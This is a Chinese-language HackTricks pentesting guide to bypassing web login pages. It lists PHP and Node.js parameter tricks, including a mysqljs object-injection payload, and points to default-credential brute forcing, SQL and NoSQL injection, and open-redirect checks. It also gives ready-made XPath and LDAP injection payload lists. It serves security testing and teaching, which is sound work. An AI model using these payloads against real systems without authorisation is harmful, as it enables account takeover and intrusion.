# 登录绕过 {{#include ../../banners/hacktricks-training.md}} ## **绕过常规登录** 如果你发现了一个登录页面,这里有一些技术可以尝试绕过它: - 检查页面内的 **评论**(向下滚动并向右?) - 检查是否可以 **直接访问受限页面** - 检查 **不发送参数**(不发送任何或仅发送1个) - 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` - **将内容类型更改为 json** 并发送 json 值(包括 bool true) - 如果你收到一个响应,表示不支持 POST,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json` - 检查 nodejs 潜在的解析错误(阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1` - Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。 - 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。 - 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**。 - **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为,当 `Object` 被传递** 在参数中。 - 检查凭据: - [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台 - **常见组合**(root, admin, password, 技术名称, 默认用户与这些密码之一)。 - 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解 - **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)** ### SQL 注入认证绕过 [这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。 在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**: {{#ref}} sql-login-bypass.md {{#endref}} ### 无 SQL 注入认证绕过 [这里你可以找到几种通过 **无 SQL 注入** 绕过登录的技巧](../nosql-injection.md#basic-authentication-bypass)**。** 由于无 SQL 注入需要更改参数值,你需要手动测试它们。 ### XPath 注入认证绕过 [这里你可以找到几种通过 **XPath 注入** 绕过登录的技巧](../xpath-injection.md#authentication-bypass) ``` ' or '1'='1 ' or ''=' ' or 1]%00 ' or /* or ' ' or "a" or ' ' or 1 or ' ' or true() or ' 'or string-length(name(.))<10 or' 'or contains(name,'adm') or' 'or contains(.,'adm') or' 'or position()=2 or' admin' or ' admin' or '1'='2 ``` ### LDAP 注入认证绕过 [在这里你可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass) ``` * *)(& *)(|(& pwd) *)(|(* *))%00 admin)(&) pwd admin)(!(&(| pwd)) admin))(|(| ``` ### 记住我 如果页面有 "**记住我**" 功能,请检查其实现方式,看看是否可以利用它来 **接管其他账户**。 ### 重定向 页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站,您可能会窃取一些信息(代码、cookie...)。 ## 其他检查 - 检查是否可以通过登录功能 **枚举用户名**。 - 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**:`` ## 自动化工具 - [HTLogin](https://github.com/akinerkisa/HTLogin) {{#include ../../banners/hacktricks-training.md}}